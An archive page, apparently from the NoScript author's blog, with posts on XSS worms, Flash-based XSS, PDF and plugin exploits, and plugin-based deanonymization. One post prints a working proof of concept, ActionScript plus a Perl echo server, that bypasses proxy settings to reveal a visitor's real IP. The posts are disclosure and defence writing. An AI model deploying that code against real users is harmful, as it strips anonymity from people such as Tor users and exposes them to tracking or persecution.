Archive for the Flash Category

Looks like 2007 improved XSS awareness in the "mainstream" media outlets too.
The Register recently published a report about the Orkut XSS worm. It's not the first time, here's a list of XSS worms and some already hit The Register's columns, but the level of understanding is visibly getting better. This is clearly good, because XSS worms are becoming more and more common. While at this moment we can mainly see goliardic demonstrations, like this nice Xmas gift by my friend Sirdarckcat, we should all be worried of how easy and quick to find and exploit this kind of web application flaws is, and ready for the real scams that are unavoidably coming (like this), thanks to the growing importance of so called "Web 2.0 social networks" and other web services in our private and business lives.

The Register has also "discovered" Flash-based XSS, something that is surely old news in our circles: as you may remember, Sirdarkcat's attack on RSnake was based on that.

The good news is that you, dear NoScript user, are already immune from both the aforementioned XSS worms, which are based on cross-site XBL (something which is also mitigated by Firefox 3) and more generally on 3rd party script inclusion.
Even better, you're also protected against Flash-based XSS, included RSnake's kind, now in NoScript default configuration: latest NoScript, in facts, won't run Flash applets (and other plugins) even if hosted on trusted sites, when they're embedded or linked from an untrusted site. In other words, it prevents browser plugins from being exploited for XSS in its very definition.

\u0048\u0061\u0070\u0070\u0079 " + 0x07D8)

Just 3 of the many reasons why I'm seriously considering to ship next NoScript versions with Forbid Macromedia® Flash®, Forbid Microsoft® Silverlight™ and Forbid other plugins checked by default in the Plugins options panel, like it already happens for Java™:

  1. A Quicktime RTSP Response vulnerability is being actively exploited in the wild.
  2. Programming errors in Flash or Silverlight applets can be as exploitable as traditional XSS/CSRF, if not more, no matter if the plugin itself is vulnerable or not. If recent attack on RSnake failed, it's most likely because he had NoScript configured to block Flash even on his own site. Not impractical as it may sound: in facts, you can select Apply these restrictions to trusted sites as well and enable multimedia clips or applets individually, on the fly with a click on their placeholder -- that's exactly what I do, by the way.
  3. As Pasqual Meunier of CERIAS put it,
    Fully functional PDF viewers are now about as safe and loyal (under your control) as your web browser with full scripting enabled. That may be good enough for some people, but clearly falls short for risk-averse industries.


Another good reason to keep Flash off by default.

Update 2:

And another... ;)

Update 3:

Oops! :P

Update 4:

I did it, in the end. NoScript now blocks all plugins by default on untrusted sites, and you can optionally extend this restrictions to trusted sites as well.

It's really time to sleep in my timezone, but I just couldn't resist when I read latest RSnake's post about Deanonymizing Tor and Detecting Proxies.

The basic concept, not terribly new by the way, is that browser proxy settings cannot be enforced on browser plugins, which happily ignore them in some circumstances, e.g. when establishing a direct TCP socket connection.
So if you're using a proxy to hide your internet address (like Tor users do), embeddable objects like Java applets can betray you, revealing your real identity to advertisers spying on your habits or, worse, to the police of a repressive state.

This caveat has been preached even on the Tor download page itself, but nothing better than some scary demos to convert the non believers.

RSnake's interesting proof of concept exploits JavaScript + LiveConnect , and it apparently works on Gecko-based browser with Java™ installed only. I didn't manage to make it work on Opera, even though it does support LiveConnect.

So I decided to defer bedtime a bit and I put together my own quick deanonymizing proof of concept, which relies on the almost ubiquitous Macromedia® Flash® and works in any web browser, like Internet Explorer, supporting the Flash player (no need for JavaScript, either).


ActionScript object is used to bypass browser's proxy setting and connect to a tiny server written in Perl, listening on port 9999 and echoing client's IP.

Here's the ActionScript code:

  1. var socket = new XMLSocket();
  2. socket.onConnect = function(success) {
  3. socket.onXML = function(doc) {
  4. getURL("" +
  5. doc.firstChild.firstChild.nodeValue);
  6. socket.close();
  7. };
  8. socket.send(new XML());
  9. };
  10. socket.connect("", 9999);

And here's the Perl server:

  1. #!/usr/bin/perl -w
  2. use strict;
  3. use IO::Socket;
  5. my $port = shift || 9999;
  6. my $sock = new IO::Socket::INET(
  7. LocalPort => $port,
  8. Proto => 'tcp',
  9. Listen => SOMAXCONN,
  10. Reuse => 1);
  11. $sock or die "socket: $!";
  12. my($new_sock, $c_addr, $buf);
  13. while (($new_sock, $c_addr) = $sock->accept())
  14. {
  15. my ($client_port, $client_ip) = sockaddr_in($c_addr);
  16. print $new_sock "<ip>" . inet_ntoa($client_ip) . "</ip>\000";
  17. $new_sock->close();
  18. }

Today's lesson is: if you want to stay anonymous, you'd better turn off Java, Flash and any other plugin!

Update OCT-27

I've just learned that some months ago a guy called yawnmoth demonstrated an Unmasking Java Applet. Just like my Flash-based one, this works also in browsers, like IE, not supporting LiveConnect.
The lesson above obviously applies, even stronger.


Recent explosions of Petko D. Petkov (pdp)'s pwning lust should teach us a lesson: documents should be documents, not programs!

We've seen MP3 tunes pwning Firefox (and NoScript promptly counter-pwning), Windows playlists pwning browser security, and finally PDF documents pwning Windows PCs.
This latest "disclosure" sounds like a strange case of pwnatio precox, since Petko didn't bother to reveal any detail about the flaw. All he said is

Adobe Acrobat/Reader PDF documents can be used to compromise your Windows box. Completely!!! Invisibly and unwillingly!!! All it takes is to open a PDF document or stumble across a page which embeds one.

I've got no problem with believing his words, since the stuff we keep calling "documents" became containers for all kinds of executable code long time ago, either intentionally (script embedding) or by accident (buffer overflows, often due to an overly complex format driven by creeping featurism).

I (like many people, I guess) do have problems with his suggested work-around:

My advise for you is not to open any PDF files (locally or remotely).

This is something no business can afford, plain and simple.
The real fix would be vendors stopping with these crazy mixes of data and code, but it's something they seem not even considering.
So, how can we mitigate risks of this kind, which surely won't go away even when Adobe will fix this specific PDF issue?

OK, I'm obviously biased here, but did you ever notice the

NoScript Options/Advanced/Plugins

NoScript content blocking options
It provides quite a flexible way to block Java, Flash, Silverlight and all the other plugins such as Acrobat Viewer, Windows Media Player and QuickTime, just to name the ones featured in pdp's researches.
If you check all the


checkboxes but the last (IFRAMES), all types of plugin-handled, potentially dangerous content will be blocked by default if coming from unknown (and therefore untrusted) sites.
You'll get a nice placeholder with the NoScript logo instead: you just click it, and you activate the content on the fly if you deem it's trustworthy.
If you're a paranoid like me, you may want to trade some usability for maximum security and check also the

Apply these restrictions to trusted sites too

option, which will mandate on-demand activation everywhere.

I heard someone saying

security × usability = K

If it's true (and I hope some day it won't necessarily be), NoScript tries hard to pump that


as much high as it can be.

Bad Behavior has blocked 927 access attempts in the last 7 days.